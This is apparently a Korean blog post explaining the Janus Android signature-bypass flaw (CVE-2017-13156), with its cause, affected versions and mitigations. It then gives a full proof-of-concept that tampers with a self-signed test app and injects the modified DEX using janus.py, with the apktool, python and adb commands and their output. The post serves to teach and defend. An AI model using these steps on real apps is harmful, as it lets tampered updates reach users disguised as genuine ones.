Janus(CVE-2017-13156) 취약점 이란?
안드로이드 앱은 반드시 개발자가 본인의 서명키를 가지고 앱에 서명을 해야한다. 또한 앱이 업데이트 되면 업데이트된 앱의 서명과 기 설치된 앱의 서명이 동일해야만 정상적인 업데이트가 가능하다. 만약 악의적인 의도를 가진 누군가에 의해 앱이 수정이 되어 리패키징이 되어도 공격자는 개발자의 서명키를 가지고 있지 않기 때문에, 리패키징한 앱의 서명과 기존의 앱의 서명이 일치하지 않게되므로 안드로이드 OS는 해당 앱의 업데이트를 차단하게 된다.
이러한 매커니즘을 통하여, 업데이트마다 정상적인 앱을 통한 업데이트 라는 것을 보증할 수 있다. 하지만, Google은 작년에 이 매커니즘을 우회 할 수 있는 안드로이드 취약점을 공개하였는데, 그 것이 바로 Janus(CVE-2017-13156) 취약점이다. 해당 취약점을 악용하면 공격자가 원래 앱의 서명에 영향받지 않는 선에서 앱을 수정할 수 있게 된다.
해당 취약점의 근본 원인은, 하나의 파일이 APK 파일이며 DEX 파일일 수도 있기 때문입니다. 이러한 동시성은, APK 파일과 DEX 파일의 이원성을 위한 것인데, 마치 로마신화의 Janus를 연상시켜 이번 취약점은 Janus(CVE-2017-13156)로 명명 되었다고 한다.
영향받는 버전
JAR 서명을 기반으로 서명하는 모든 스키마(ver1)
영향받지 않는 버전
Android 7.0 이후 도입된 APK 서명 스키마 ver2
조치방안
- 사용자
안드로이드 OS 버전 업데이트
공식 마켓에서만 다운로드
- 개발자
App의 APK를 최신버전의 Signature scheme V2 서명 매커니즘으로 업데이트
APP APK 파일의 시작 바이트를 확인하여, APP이 변조되지 않았는지 확인
PoC, Proof of Concept
hacker는 Janus 취약점을 통해 helloworld 앱을 변조하여 다른 이용자들에게 배포하고 싶다.
시나리오를 정리하자면 다음과 같다.
- helloworld.apk를 다운로드 받아 원하는대로 수정한다.
- 리패키징 후 classes.dex를 추출하여
- janus 취약점을 이용해 기존의 helloworld.apk에 수정한 classes.dex를 심는다.
- 악의적으로 수정한 앱을 배포한다.
- 사용자들은 해당 앱이 정상적으로 업데이트 될 것이므로 의심의 여지없이 사용할 것이다.
이제 해당 시나리오대로 되는지 검증을 해보도록 한다.
[ 검증 환경 ]
- macOS High sierra 10.13.1
- android version 6.0.1
- java 1.8
[ 준비사항 ]
- Target App ( helloworld.apk / 파일첨부 )
- 필요 툴 설치 및 다운로드
-
[ Target App ]
helloworld.apk : 단순 Helloworld 앱
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
LinearLayout linear = new LinearLayout(this);
linear.setOrientation(LinearLayout.VERTICAL);
linear.setBackgroundColor(Color.WHITE);
TextView text = new TextView(this);
text.setText("Hello world !"); // 이 부분을 변조하여 설치할 예정임.
text.setGravity(Gravity.CENTER);
text.setTextColor(Color.RED);
text.setTextSize(20);
linear.addView(text);
setContentView(linear);
}
}
앱 빌드 시 아래와 같이 Signature Version을 V1을 포함하여 빌드 하여야 해당 취약점에 대한 테스트가 가능하다. 해당 앱은 자체 서명키를 발행하여 서명 하였다.
$ keytool -printcert -jarfile helloworld.apk
서명자 #1:
서명:
소유자: CN=isyang, OU=isyang, O=isyang, L=seoul, C=82
발행자: CN=isyang, OU=isyang, O=isyang, L=seoul, C=82
일련 번호: 34321b3e
적합한 시작 날짜: Mon Apr 23 15:40:22 KST 2018 종료 날짜: Fri Apr 17 15:40:22 KST 2043
인증서 지문:
SHA1: 59:99:49:B2:B4:6B:3C:B5:B9:9B:EB:39:07:F6:1C:D8:66:6E:11:7D
SHA256: 9F:80:FB:1E:50:3E:3F:9D:3E:D6:D1:1A:BA:7D:BE:6D:6A:AD:83:EF:7F:AE:C1:A6:1A:DF:DF:9F:B3:BF:91:22
서명 알고리즘 이름: SHA256withRSA
주체 공용 키 알고리즘: 2048비트 RSA 키
버전: 3
[ 필요한 툴 다운로드 ]
필요한 툴과 익스플로잇 코드를 다운 받도록 한다.
- Target apk download (helloworld.apk) : 파일첨부
- JAVA install
$ brew update
$ brew cask install java
- Janus exploit code download
# janus exploit code download
- apktool.jar download
프로그램 및 코드를 모두 다운로드 받았다면 이제 apk 파일을 reversing 후 변조하여 보도록 한다.
target apk 파일을 decomplie하여 App의 내용을 수정한다.
$ java -jar apktool_2.2.1.jar d helloworld.apk -o helloworld
I: Using Apktool 2.2.1 on helloworld.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /Users/insukyang/Library/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
디컴파일이 정상적으로 완료된다면 위와 같은 메시지가 출력되며, helloworld 폴더에 디컴파일된 파일들을 볼 수 있다.
$ cd helloworld
$ ls -al
total 16
drwxr-xr-x 7 insukyang staff 224 4 23 17:23 .
drwxr-xr-x 7 insukyang staff 224 4 23 17:23 ..
-rw-r--r-- 1 insukyang staff 1049 4 23 17:23 AndroidManifest.xml
-rw-r--r-- 1 insukyang staff 395 4 23 17:23 apktool.yml
drwxr-xr-x 4 insukyang staff 128 4 23 17:23 original
drwxr-xr-x 130 insukyang staff 4160 4 23 17:23 res
drwxr-xr-x 4 insukyang staff 128 4 23 17:23 smali
우리가 수정해야 할 소스코드는 smali 폴더에 위치하고 있으며, 해당 파일은 helloworld/smali/janus/poc/android/janusapp/MainActivity.smali이다.
파일을 열면 아래와 같은 코드를 볼 수 있는데, 우리가 수정할 부분은 "Hello world !"라는 문자열이다.
.line 22
new-instance v1, Landroid/widget/TextView;
invoke-direct {v1, p0}, Landroid/widget/TextView;-><init>(Landroid/content/Context;)V
.line 23
.local v1, "text":Landroid/widget/TextView;
const-string v2, "Hello world !" => "Hello, You are hacked !"
invoke-virtual {v1, v2}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V
문자열 수정 후 리패키징 하여, apk 파일을 만든다. 리패키징이 완료된 apk 파일은 helloworld/dist/helloworld.apk에 생성된다.
$ java -jar apktool_2.2.1.jar b helloworld
I: Using Apktool 2.2.1
I: Checking whether sources has changed...
I: Smaling smali folder into classes.dex...
I: Checking whether resources has changed...
I: Building resources...
I: Building apk file...
I: Copying unknown files/dir...
$ ls -al helloworld/dist/
total 2816
drwxr-xr-x 3 insukyang staff 96 4 23 17:40 .
drwxr-xr-x 9 insukyang staff 288 4 23 17:40 ..
-rw-r--r-- 1 insukyang staff 1440113 4 23 17:40 helloworld.apk
apk 파일의 압축을 해제하여 classes.dex을 추출하고, 익스플로잇 코드를 실행 한다.
$ unzip helloworld/dist/helloworld.apk -d ./hacked_hello
$ ls -al hacked_hello/
total 4648
drwxr-xr-x 6 insukyang staff 192 4 23 17:47 .
drwxr-xr-x 9 insukyang staff 288 4 23 17:47 ..
-rw-r--r-- 1 insukyang staff 2172 1 1 1980 AndroidManifest.xml
-rw-r--r-- 1 insukyang staff 2147592 1 1 1980 classes.dex
drwxr-xr-x 27 insukyang staff 864 4 23 17:47 res
-rw-r--r-- 1 insukyang staff 222948 1 1 1980 resources.arsc
익스플로잇 코드의 사용법은 다음과 같다.
usage: janus.py [-h] original-apk dex-file output-apk
Creates an APK exploiting the Janus vulnerability.
positional arguments:
original-apk the source apk to use
dex-file the dex file to prepend
output-apk the file to output to
optional arguments:
-h, --help show this help message and exit
이제 실제로 익스플로잇 코드를 실행하여 classes.dex 파일을 삽입한다. 익스플로잇이 정상으로 실행되었다면, hacked_hello.apk 파일이 생성되었을 것이다.
이제 기존에 helloworld가 설치된 에뮬레이터나 안드로이드폰에 재설치를 진행해 보도록 한다.
$ python janus.py helloworld.apk hacked_hello/classes.dex hacked_hello.apk
$ ls -al
total 23512
drwxr-xr-x 10 insukyang staff 320 4 23 17:48 .
drwxr-xr-x 14 insukyang staff 448 4 23 15:00 ..
-rwxr-xr-x 1 insukyang staff 6972627 12 7 2016 apktool_2.2.1.jar
drwxr-xr-x 6 insukyang staff 192 4 23 17:47 hacked_hello
-rw-r--r-- 1 insukyang staff 3595159 4 23 17:48 hacked_hello.apk
drwxr-xr-x 9 insukyang staff 288 4 23 17:40 helloworld
-rw-r--r-- 1 insukyang staff 1447567 4 23 15:59 helloworld.apk
-rwxr-xr-x 1 insukyang staff 4714 4 19 15:26 janus.py
drwxr-xr-x 6 insukyang staff 192 4 23 17:46 re_hello
$ adb install -r hacked_hello.apk
hacked_hello.apk: 1 file pushed. 2.3 MB/s (3595159 bytes in 1.486s)
pkg: /data/local/tmp/hacked_hello.apk
Success
해당 앱이 정상적으로 설치되는 것을 확인 할 수 있다.